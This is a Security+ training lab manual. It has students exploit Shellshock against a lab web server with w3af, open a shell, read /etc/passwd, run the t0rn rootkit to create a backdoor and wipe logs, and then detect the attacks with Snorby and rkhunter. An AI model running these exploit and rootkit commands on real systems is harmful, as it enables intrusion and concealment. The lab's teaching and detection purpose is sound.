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Introduction 

 
The material in this lab aligns to the following learning objectives: 
 

 Objective 3.1:  Explain types of malware 

 Objective 3.2:  Summarize various types of attacks 

 Objective 3.5:  Explain types of application attacks 

 Objective 3.7:  Given a scenario, use appropriate tools and techniques to 
discover security threats and vulnerabilities 

 

More information about individual objectives and their sections can be found in 
CompTIA document SY0-401, which is available from the CompTIA website. 

 
In this lab, you will be conducting vulnerability assessments using various tools and 
malware. You will be performing the following tasks: 
 

1. Shellshock Vulnerabilities 
2. Rootkit Vulnerabilities 
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Lab Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 
 
 

 

Virtual Machine 

 

IP Address 

 

Account  

(if needed) 

 

Password 

(if needed) 

 

Ubuntu 

 

192.168.1.50 student securepassword 

 

DVL Server 

 

10.1.1.10 root toor 

 

Security Onion 

 

192.168.1.6 soadmin mypassword 

pfSense 

192.168.1.1 

10.1.1.1 

203.0.113.1 

admin pfsense 

 

Kali 

 

203.0.113.2 root toor 
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Pre-Lab Setup 

 
Before continuing to Task 1, log into the following systems below as instructed. 
 

I. Kali 
1. On the login screen, select Other.  
2. When presented with the username, type root.  Press Enter. 
3. When prompted for the password, type toor.  Press Enter. 
4. Minimize the PC viewer window. 

 

II. Ubuntu 
1. On the login screen, select the student account. 
2. When prompted for the password, type securepassword.  Press Enter. 
3. Minimize the PC viewer window. 

 

III. Security Onion 
1. On the login screen, type soadmin.  Press Enter. 
2. When prompted for the password, type mypassword. 
3. Open a new Terminal. 
4. Type the command below and press Enter.  Use mypassword when 

prompted for root privileges. 
 
sudo service nsm start  

 
5. Close the Terminal window when services are finished starting. 
6. Minimize the PC viewer window. 
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1 Shellshock Vulnerability 

 
 
1.1 Identifying the Shellshock Vulnerability 

 
1. Open the Ubuntu PC Viewer.  If closed, click on the Ubuntu icon on the Topology 

page. 
 

 
 

2. Open a new Terminal window by clicking on the Terminal icon located on the 
left menu. 

 

 
 

3. Let us identify first what version of bash is running on the Ubuntu system.  Type 
the command below followed by pressing Enter. 

 
echo $BASH_VERSION 

 

  
 

Notice we are running the 4.2.X family, which is susceptible to the Shellshock 
vulnerability. 
 

4. Change to the /home/scripts directory. 
 
cd /home/scripts 
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5. Run the shellshock_test.sh script to run a vulnerability check on the current bash 
configuration for the Ubuntu system. 

 
./shellshock_test.sh 

 

 
 

Notice the output given from the script.  There are a total of four CVE 
vulnerabilities detected. If presented with a message stating that the bash 
application closed unexpectedly, click Continue.  
 

 
 

6. Each of the vulnerabilities can be diagnosed by entering bash commands into the 
Terminal.  Test out the CVE-2014-6271 vulnerability manually.  Type the 
command below followed by pressing Enter. 

 
env x=’() { :;}; echo vulnerable’ bash –c “echo cve-2014-6271” 

 

If you receive the output below, your system is most likely vulnerable to shellshock. 
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1.2 Using w3af Exploit the Shellshock Vulnerability 

 
1. Open the Kali PC Viewer.  If closed, click on the Kali icon on the Topology page. 

 

 
 

2. Open a new Firefox web browser by clicking on the Firefox icon located on the 
top left menu pane. 

 

 
 

3. In the address bar, type the following: http://192.168.1.50. Press Enter. 
 

 
 

4. Notice that the web server is up and running.  Test to see if CGI is enabled on the 
web server.  Type the following into the address bar: http://192.168.1.50/cgi-
bin/bashexample 
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5. Press Enter.  Notice the output given verifying that a bash CGI script is enabled 
on the web server. 
 

 
 

6. While on the Kali system, open a new Terminal window by clicking on the 
Terminal icon located on the top menu pane. 

 

 
 

7. While in the Terminal, change the state of the loopback network interface to an 
up state. 

 
ifconfig lo up 

 

  
 

8. Verify that the loopback interface is now up. 
 
ifconfig 

 
9. Change to the /opt/w3af directory. 

 
cd /opt/w3af 
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10. Initialize the w3af console application to exploit the CVE-2014-6271 vulnerability 
against the cgi-bin running on the Ubuntu’s Apache web server.  Type the 
command below and press Enter. 

 
./w3af_console 

 

  
 

If the w3af prompt does not appear immediately, wait 1 minute until it appears. 

 
11. Notice the command prompt change to w3af>>>.  Load the plugins module by 

typing the command below followed by pressing Enter. 
 
plugins 

 

  
 

12. Notice the command prompt change to w3af/plugins>>>.  Audit the shell_shock 
by typing the command below. Press Enter. 

 
audit shell_shock 

 

  
 

13. Go back to the main w3af>>> command prompt. 
 
back 

 

  
 
 Notice the change to the w3af>>> prompt. 
 

14. Go into the target module. 
 
target 
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15. Set the target to the following address: http://192.168.1.50/cgi-
bin/bashexample.  Type the command below followed by pressing Enter. 

 
set target http://192.168.1.50/cgi-bin/bashexample 

 

 
 

16. Go back to the main w3af>>> command prompt. 
 
back 

 

  
 
 Notice the configuration is now saved. 
 

17. Start the vulnerability detection. 
 
start 

 

 
Notice that in the output above, a vulnerability (highlighted) was found with the 
request that was just made. 
 

18. Go into the exploit module. 
 
exploit 
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19. Notice the prompt change.  Initiate the os_commanding exploit. 
 
exploit os_commanding 

 

 
Notice the successful exploitation. 
 

20. Type the command below to start an interaction with a shell ID of 0. 
 
interact 0 

 

  
21. Notice the prompt change. We now should have shell access.  Type the 

command below followed by pressing Enter. 
 
e whoami 

 

   
 

Notice that the username given back to us. 
 

22. Type the command below followed by pressing Enter to verify what directory we 
are currently viewing. 

 
e pwd 

 

  
 

Notice how we are in the public web server directory that stores the CGI file we 
just exploited. 
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23. List the root directory contents. 
 
e ls –l / 

 

 
 

24. View the contents of the /etc/passwd file on the remote system. 
 
e cat /etc/passwd 
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25. Initiate a payload command to list all users on the system in a detailed table. 
 
payload users 

 

 
 

26. Type exit.  Press Enter. 
 

 
 

27. Type exit followed by pressing Enter once more to exit out of the web 
application vulnerability scanner. 

 

 
 

28. Close all remaining open windows within the Kali system. 
 
 
1.3 Analyzing NIDS Alerts 

 
1. Open the Security Onion PC Viewer.  If closed, click on the Security Onion icon 

on the Topology page. 
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2. Open a new Terminal window by clicking on the Terminal Emulator icon located 
on the Desktop. 

 

 
 

3. Verify whether apache is currently running on the system. 
 
service apache2 status 

 

  
 

4. If it is not running, enter the command below to start the service. 
 
sudo service apache2 start 

 

 
5. If prompted for a password, type mypassword and press Enter. 
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6. While on the Security Onion system, double-click on the Snorby icon located on 
the Desktop. 

 

 
 

7. The web browser launches as a result.  On the “Connection is Untrusted” page, 
click on I Understand the Risks followed by clicking on the Add Exception button. 
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8. A new window appears.  Click the Confirm Security Exception button. 
 

 
 

9. On the Snorby login page, enter the credentials below followed by clicking 
Welcome, Sign In. 

a. Email:  soadmin@xyz.corp 
b. Password:  mypassword 
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10. Notice on the main dashboard that high severity alerts are presented.  Click on 
the High Severity alert box. 

 

If no severities are shown in the alert boxes, click More Options followed to clicking on 
Force Cache Update to refresh the screen. 
 

 
 

 

 
 

11. On the High Severity Events page, notice the Event Signature noting that a 
possible CVE-2014-6271 vulnerability exploit attempt may be in effect.  Also, 
notice the source and destination IPs. 

 

  



    
Lab 10:  Analyze and Differentiate Types of Malware & Application Attacks 

20 

This work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where 
otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License. 

12.  On the High Severity Events page, select the first event from the list to expand 
more information. 
 

 
 

If presented with a message asking to install a Flash plugin, ignore it. 

 
13. Hover over the Payload section and notice the Hex given.  Click on the Ascii tab. 

 

 
Notice the User-agent string. 
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14. Log out of the Snorby interface and close the web browser. 
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2 Rootkit Vulnerabilities 

 
 
2.1 Initiate T0rn Kit Rootkit 

 
1. Change focus to the Kali system. 
2. While on the Kali system, navigate to an open Terminal window, if none is 

available open a new Terminal. 
3. Within the Terminal window, change to the /home/malware directory. 

 
cd /home/malware 

 

  
 

4. While in this directory, uncompress the tk.tgz file.  
 

This contains the t0rn kit rootkit. Handle with caution. 

 
tar zxvf tk.tgz 

 

 
 

5. Change into the tk/ directory. 
 
cd tk/ 
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6. View the files in the current directory to verify the contents of the tk.tgz file has 
been uncompressed. 
 

ls -l 

 

  
 

7. To get a feel for how the t0rn kit operates, view the contents of the tornkit-
README file. 
 

cat tornkit-README 

 

  
 

8. Initiate the t0rn kit to listen on port 9999 by typing the command below 
followed by pressing Enter. 

 
./t0rn vuln 9999 
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9. Notice the output given from the rootkit signaling that a backdoor has been 
created on the system. 

 

 
 

10. Leave the Terminal shell open to complete the next task. 
 
 
2.2 Assessing the Damage of a Rootkit 

 
1. While engaged in the Terminal shell, change to a hidden directory created by the 

t0rn kit.  
 
cd /usr/src/.puta 

 

  
 

2. Attempt to use the ls command.  Notice that the bin directory for that command 
has been stripped and cannot be used. 
 

 
 

3. As an attacker, we may decide to clean out the logs on the system using a simple 
script.  Run the t0rnsb script to attempt to do so. 

 
./t0rnsb root 

 

  
 

This script deletes lines that match specific string information from the system 
logs. 
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4. Another hidden directory created by the rootkit can be found here: 
/usr/info/.t0rn. 

 
cd /usr/info/.t0rn 

 
5. Leave the Terminal shell open for the next task. 

 
 
2.3 Detecting Rootkits with rkhunter 

 
1. Before initiating the rkhunter (rootkit hunter) application, type the command 

below to view the available options. 
 
rkhunter -h 

 

 
 

2. Run the rkhunter application to initiate a scan for rootkits, backdoors, and 
possible exploits.  While in a Terminal window, type the command below and 
press Enter. 

 
rkhunter --check 
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3. When prompted to press Enter, notice that rkhunter has just finished performing 
a property check on all core system commands.  Press Enter to continue. 

 

 
 

Notice the Warning message for the ls, login, netstat, and ps commands along with a 
few others. 

 
4. When prompted to press Enter, notice that rkhunter has just finished performing 

a check for various rootkits.  Press Enter to continue. 
 

 
 

Notice the Warning message for T0rn Rootkit. 
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5. When prompted to press Enter, notice that rkhunter has just finished performing 
additional rootkit checks.  Press Enter to continue. 

 

 
 

6. When prompted to press Enter, notice that rkhunter has just finished performing 
checks on network interfaces, password files and various SSH files.  Press Enter to 
continue. 
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7. Once the rkhunter completes its scan, a summary report is displayed.   
 

 
 

8. Close all remaining windows. 


